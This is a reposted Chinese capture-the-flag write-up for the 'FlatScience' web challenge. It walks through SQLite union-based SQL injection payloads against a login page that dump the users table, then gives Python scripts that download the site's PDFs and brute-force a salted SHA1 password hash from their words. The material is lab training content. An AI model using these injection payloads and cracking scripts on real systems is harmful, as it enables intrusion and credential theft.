WEB:FlatScience

news2024/12/23 6:46:24

背景知识

        sql注入

        SQLite数据库知识

        SQLite3注入方法

题目

 

 用dirsearch进行扫描,下面几个关键目录:robots.txtlogin.phpadmin.php,剩下的目录就是一些pdf格式的论文了

 一个一个访问并查看源代码,在查看login.php发现

 

进行代码审计

 发现数据库为SQLite3

还发现输入的usr存在注入

没有任何过滤,能够拼接进数据库中执行

使用bp进行抓包拦截注入

判断字段数

输入

1' order by 3 --

再输入,回显正常,所以可知字段数为2

1' order by 2 --

 判断回显

1' union select 1,2 --

回显为第二位

 查sql表中字段

1' union select name,sql from sqlite_master--

 

将url编码进行解码

+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

 

得到

 CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

 可知字段有:id name password hint

构造查询name的payload

1' union select id, name from Users--

 

得到admin

构造查询password的payload

1' union select id, password from Users--

 

 得到3fab54a50e770d830c0416df817567662a9dc85c

构造查询hint的payload

1' union select id, hint from Users--

得到 my+fav+word+in+my+fav+paper%3F%21

进行解码后得到 my fav word in my fav paper?!

经过上述操作就得到了表中的第一个数据

id=1

name=admin

password=3fab54a50e770d830c0416df817567662a9dc85c(MD5是消息摘要加密,可能会解不出来)

hint=my+fav+word+in+my+fav+paper?!(说的就是在他的论文里面)

得到ThinJerboaSalz! 

获取PDF密码脚本如下:

python3爬取多目标网页PDF文件并下载到指定目录

import urllib.request
import re
import os


# open the url and read
def getHtml(url):
    page = urllib.request.urlopen(url)
    html = page.read()
    page.close()
    return html

def getUrl(html):
    reg = r'(?:href|HREF)="?((?:http://)?.+?.pdf)'
    url_re = re.compile(reg)
    url_lst = url_re.findall(html.decode('utf-8'))
    return(url_lst)

def getFile(url):
    file_name = url.split('/')[-1]
    u = urllib.request.urlopen(url)
    f = open(file_name, 'wb')

    block_sz = 8192
    while True:
        buffer = u.read(block_sz)
        if not buffer:
            break

        f.write(buffer)
    f.close()
    print ("Sucessful to download" + " " + file_name)

#指定网页
root_url = ['http://111.198.29.45:54344/1/2/5/',
            'http://111.198.29.45:54344/']

raw_url = ['http://111.198.29.45:54344/1/2/5/index.html',
            'http://111.198.29.45:54344/index.html'
           ]
#指定目录
os.mkdir('ldf_download')
os.chdir(os.path.join(os.getcwd(), 'ldf_download'))
for i in range(len(root_url)):
    print("当前网页:",root_url[i])
    html = getHtml(raw_url[i])
    url_lst = getUrl(html)

    for url in url_lst[:]:
        url = root_url[i] + url
        getFile(url)

python3识别PDF内容并进行密码对冲

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./ldf_download/") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

所以得到ThinJerboaSalz!还要去掉Salz,则密码为ThinJerboa

得到flag 

参考文章链接:
【攻防世界WEB】难度四星12分进阶题:FlatScience-云社区-华为云

【愚公系列】2023年05月 攻防世界-Web(FlatScience)_愚公搬代码的博客-CSDN博客

【攻防世界】二十四 --- FlatScience --- SQLite注入_通地塔的博客-CSDN博客

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/773109.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

23款奔驰S400豪华型升级4D旋转高音,提升车内氛围

奔驰加装4D旋转高音,让高音“有型有色”,高端4D环绕立体声音响系统的视觉效果同样令人印象深刻:系统启动时,安装在前车门后视镜三角板中的两个高音头会与同色车内氛围灯一块亮起,同时向外旋出10mm至最佳效果位置,以提高…

【AutoGluon_01】自动机器学习框架的安装与示例

文章目录 一、安装二、示例一 AutoGluon预测目标数据1、导入数据2、训练3、预测4、评估5、小结 三、示例二 AutoGluon多模态预测(Multimodal Prediction)1、导入数据2、训练3、预测4、评估 四、示例三 AutoGluon进行时间序列预测1、导入数据2、训练3、预…

【redis】redis管道简述

redis管道可以一次性发送多条命令。 命令示例如下: [xxxlocalhost ~]$ echo -e "set k4 99\nincr k4\nget k4" | nc localhost 6379 \OK :100 $3 100下面先简述一下这条命令的组成,再简述一下管道的常用场景和注意事项。 首先,|是…

跨越山海,爱在滇西|拓数派为滇西孩子点亮科学梦想

近日,拓数派在共青团浙江大学委员会、景东县教育体育局和景东团县委等单位指导下开展“爱在滇西”2023年公益助学活动,并携手浙大国际科创中心、浙大微纳电子学院、启真科技控股公司和北京德恒律所共同向景东浙大求是中学捐赠爱心助学金,用于…

微信小程序的目录解析--【浅入深出系列002】

浅入深出系列总目录在000集 如何0元学微信小程序–【浅入深出系列000】 文章目录 本系列校训学习资源的选择先说总目录经常碰到的文件(目录)最最常见的目录pages次最常用的就是images 目录 操作起来真正的操作 配套资源 本系列校训 用免费公开视频,卷…

OpenCVForUnity(八)文本与随机数

文章目录 前言putText (绘制文本)randn (正态分布随机数)randu(均匀分布随机数)randShuffle (数组随机重排)结语 前言 本教程将介绍如何使用随机数生成器类RNG以及从均匀分布中获取随…

LIMA:小规模监督数据指令微调

论文标题:LIMA: Less Is More for Alignment 论文链接:https://arxiv.org/abs/2305.11206 论文来源:Meta AI 一、概述 语言模型在大规模语料上以预测下一个token的方式预训练,使它们能够学习可迁移到几乎任何语言理解或生成任务的…

让小程序动起来-轮播图的两种方式--【浅入深出系列003】

浅入深出系列总目录在000集 如何0元学微信小程序–【浅入深出系列000】 文章目录 本系列校训学习资源的选择啥是轮播图轮播图的关键代码最常见的轮播图代码便于理解的轮播代码两种轮播代码的比较 实际操练第一步,就是找到文件。第二步,先改动一下最显眼…

全源最短路Johnson算法

最短路Johnson算法( O ( n m l o g m ) O(nmlogm) O(nmlogm)) 可以求任意两点最短路, 新图的边权改造为: w ( x , y ) h ( x ) − h ( y ) w(x,y)h(x)-h(y) w(x,y)h(x)−h(y) 构造的新图 d 1 ( x , y ) d ( x , y ) h ( x ) − h ( y ) d1(x,y)d(x,y…

java学习02

一、基本数据类型 Java有两大数据类型,内置数据类型和引用数据类型。 内置数据类型 Java语言提供了八种基本类型。六种数字类型(四个整数型,两个浮点型),一种字符类型,还有一种布尔型。 byte&#xff1…

leetcode:704. 二分查找(python3解法)

难度:简单 给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。 示例 1: 输入: nums [-1,0,3,5,9,12], target 9…

人工智能发展前夜,基于控制论的杂谈

谢邀。 目录 《What the Frogs Eye Tells the Frogs Brain?》简介我是怎么理解这篇文章的?被后世频繁引用的「青蛙」从「青蛙」再重新转向控制论 《What the Frog’s Eye Tells the Frog’s Brain?》简介 帕斯克在实践和理论中,将人类的适应性行为引入…

集成算法的参数空间与网格优化

目录 1. 探索参数空间 1.1 学习曲线 1.2. 决策树对象Tree 2. 使用网格搜索在随机森林上进行调参 1. 探索参数空间 随机森林集成算法的超参数种类繁多、取值丰富,且参数之间会相互影响、共同作用于算法的最终结果,因此集成算法的调参是一个难度很高的过…

JavaSwing+MySQL的聊天系统设计

点击以下链接获取源码: https://download.csdn.net/download/qq_64505944/88055544 JDK1.8、MySQL5.7 功能:类似于QQ软件的聊天系统,可以进行登录注册聊天发信息等功能

为什么说Raft原生系统是流式数据的未来?

目录 一、前言 二、Redpanda是如何实施Raft的? Redpanda的需求是: 实施Raft为这三个需求提供了坚实的基础: 1. 简单性 2. 性能 3. 可靠性 三、但是Kraft又如何呢? 四、结合Raft与性能工程 一、前言 共识是一致性分布式…

分布式声波传感(DAS)声音还原

声音还原 DAS 基于相位敏感光时域反射计(Φ-OTDR)的分布式光纤声波传感技术(DAS)是一种利用光纤后向瑞利散射干涉效应实现声波信号连续分布式探测的传感技术。 实验装置如下图所示,采用窄线宽光纤激光器作为光源,出射光通过90:10的光纤耦合器分成参考光和…

AlphaPose复现配置教程

AlphaPose复现配置教程 AlphaPose介绍 AlphaPose是一种准确的多人姿态估计器,这是第一个在COCO数据集上达到70 mAP (75 mAP)和在MPII数据集上达到80 mAP (82.1 mAP)的开源系统。为了匹配跨帧的同一人的姿态,我们还提供了一种高效的在线姿态跟踪器&…

Effective C++学习笔记(6)

目录 条款32. 确定你的public继承塑模出is-a关系条款33.避免遮掩继承而来的名称条款34.区分接口继承和实现继承条款35.考虑virtual函数以外的其他选择条款36.绝不重新定义继承而来的non-virtual函数条款37.绝不重新定义继承而来的缺省参数值条款38.通过复合塑模出has-a或“根据…

HP惠普暗影精灵9笔记本原装出厂Win11系统预装专用OEM系统镜像

暗影9笔记本电脑原厂Windows11系统包 OMEN by HP 16.1英寸游戏本16-wf0000,16-wf0001,16-wf0003,16-wf0004,16-wf0006,16-wf0008,16-wf0009,16-wf0010,16-wf0011,16-wf0012,16-wf0028,16-wf0029,16-wf0007,16-wf0032,16-wf0036,16-wf0043 链接:https://pan.baidu.…

78、分布式事务解决方案

分布式事务解决方案 XA规范: 分布式事务规范,定义了分布式事务模型 四个角色: 事务管理器(协调者TM)、资源管理器(参与者RM),应用程序AP,通信资源管理器CRM 全局事务:一个横跨多个数据库的事务,要么全部提交、要么全部回滚 JT…